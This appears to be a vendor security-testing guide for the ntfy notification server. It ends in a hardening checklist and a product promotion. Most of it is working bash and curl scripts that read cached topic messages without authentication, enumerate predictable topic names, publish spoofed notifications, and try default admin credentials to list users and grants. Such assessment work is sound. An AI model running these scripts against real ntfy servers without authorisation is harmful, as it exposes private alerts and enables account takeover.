ntfy Security Testing: Unauthenticated Topics, Message Access, Token Authentication, and Server Config

ntfy is a widely deployed self-hosted publish-subscribe notification service used to push messages from scripts, CI/CD pipelines, home automation, and monitoring tools to phones and desktops. Its security significance comes from the sensitive content frequently transmitted: server alerts, CI/CD build output, automation results, and access codes. Its security assessment covers: ntfy's default server configuration allows unauthenticated subscription and publishing to any topic — the topic name itself is the only access control mechanism, meaning anyone who discovers a topic name can both receive all past cached messages and publish spoofed notifications; ntfy's auth-default-access setting defaults to read-write in many configurations, granting all unauthenticated users full read and write access to all topics; ntfy's HTTP endpoint /topic/json streams all messages for a topic without requiring authentication; ntfy's admin user has access to the full user and token management API at /v1/users; and predictable topic names in automation scripts are discoverable from script repositories and documentation. This guide covers systematic ntfy security assessment.

Table of Contents

  1. Unauthenticated Topic Access
  2. Topic Enumeration and Message Dump
  3. ACL Configuration Testing
  4. ntfy Security Hardening

Unauthenticated Topic Access

# ntfy unauthenticated topic access — default server allows open read/write
NTFY_URL="https://ntfy.example.com"

# Test if server allows unauthenticated access
# Subscribe to a topic and receive all cached messages
curl -s "${NTFY_URL}/alerts/json?poll=1" 2>/dev/null | head -20

# Subscribe to message stream in real time (blocks)
# curl -s "${NTFY_URL}/alerts/json"

# Publish a test message without authentication
curl -s -X POST "${NTFY_URL}/alerts" \
  -d "Test unauthenticated publish" 2>/dev/null

# Check server info to understand auth configuration
curl -s "${NTFY_URL}/v1/info" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'Version: {d.get(\"version\")}')
    print(f'Auth required: {not d.get(\"visitor\",{}).get(\"limits\",{})}')
except: pass
" 2>/dev/null

# List all topics that have active subscribers or cached messages
# ntfy does not expose a topic listing endpoint by default,
# but the admin API reveals stats
curl -s "${NTFY_URL}/v1/stats" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'Messages: {d.get(\"messages\")}')
    print(f'Topics: {d.get(\"topics\")}')
except: pass
" 2>/dev/null

Topic Enumeration and Message Dump

# ntfy topic enumeration — common/predictable topic names used in automation
NTFY_URL="https://ntfy.example.com"

# Common topic names used in home automation, CI/CD, and monitoring scripts
TOPICS=(
  "alerts" "notifications" "monitoring" "ci" "builds" "deploy"
  "backup" "server" "home-assistant" "home" "docker" "cron"
  "uptime" "grafana" "fail2ban" "nginx" "security" "admin"
)

for TOPIC in "${TOPICS[@]}"; do
  # Poll for cached messages on each topic
  MSGS=$(curl -s "${NTFY_URL}/${TOPIC}/json?poll=1&since=all" 2>/dev/null)
  COUNT=$(echo "$MSGS" | grep -c '"id"' 2>/dev/null || echo 0)
  if [ "$COUNT" -gt 0 ]; then
    echo "TOPIC HAS MESSAGES: ${TOPIC} (${COUNT} messages)"
    echo "$MSGS" | python3 -c "
import json,sys
for line in sys.stdin:
    line=line.strip()
    if line:
        try:
            m=json.loads(line)
            print(f'  [{m.get(\"time\",\"?\")[:10]}] {m.get(\"title\",\"?\")} — {str(m.get(\"message\",\"\"))[:80]}')
        except: pass
" 2>/dev/null
  fi
done

ACL Configuration Testing

# ntfy ACL (Access Control List) testing
# When auth is enabled, test for weak credentials and ACL misconfig
NTFY_URL="https://ntfy.example.com"

# Test admin credentials (if auth is enabled)
for CREDS in "admin:admin" "ntfy:ntfy" "admin:password"; do
  USER="${CREDS%%:*}"
  PASS="${CREDS##*:}"
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "${NTFY_URL}/v1/users" \
    -u "${USER}:${PASS}" 2>/dev/null)
  if [ "$STATUS" = "200" ]; then
    echo "ADMIN AUTH SUCCESS: ${USER}:${PASS}"
    # List all users
    curl -s "${NTFY_URL}/v1/users" -u "${USER}:${PASS}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('users',[])
print(f'Users: {len(users)}')
for u in users:
    print(f'  {u.get(\"username\")} role={u.get(\"role\")}')
    for grant in u.get('grants',[]):
        print(f'    topic={grant.get(\"topic\")} read={grant.get(\"read\")} write={grant.get(\"write\")}')
" 2>/dev/null
    break
  fi
done

# Test if auth-default-access is set to read-write (allows all unauthenticated)
# This is the default in many ntfy server.yml configurations
AUTH_TEST=$(curl -s -o /dev/null -w "%{http_code}" \
  "${NTFY_URL}/test-probe-topic/json?poll=1" 2>/dev/null)
if [ "$AUTH_TEST" = "200" ]; then
  echo "auth-default-access is read-write (unauthenticated access allowed)"
fi

ntfy Security Hardening

ntfy Security Hardening Checklist:
Security TestMethodRisk
Unauthenticated topic subscribe (auth-default-access=read-write)GET /topic/json?poll=1 without credentials — all cached messages on the topic are returned; subscription to future messages via the streaming endpointHigh
Unauthenticated topic publishPOST /topic with message body — anyone can publish spoofed or misleading notifications to any topic, including security alert topicsHigh
Predictable topic name enumerationTest common topic names (alerts, monitoring, ci, docker, home) — topics with cached messages return their content including server state and operational dataHigh
Admin credential brute force when auth enabledGET /v1/users with common admin credentials — admin access allows listing all users, their topic grants, and creating new tokensHigh
Topic name discovery from version controlSearch Git repos for ntfy.sh topic URLs and self-hosted instance topic names in scripts — topic names used in CI/CD and automation scripts are frequently committedMedium
Server statistics revealing topic and message countsGET /v1/stats — reveals total message count and active topic count; GET /v1/info reveals server version and rate limits without authenticationLow

Automate ntfy Security Testing

Ironimo tests ntfy deployments for unauthenticated topic access when auth-default-access is read-write allowing any visitor to receive all cached notifications and subscribe to future messages, predictable topic name enumeration revealing sensitive operational data from monitoring and CI/CD systems, unauthenticated topic publishing enabling notification spoofing, admin credential brute force on authenticated instances, topic name leakage from automation script repositories, and server configuration exposure via the info endpoint.

Start free scan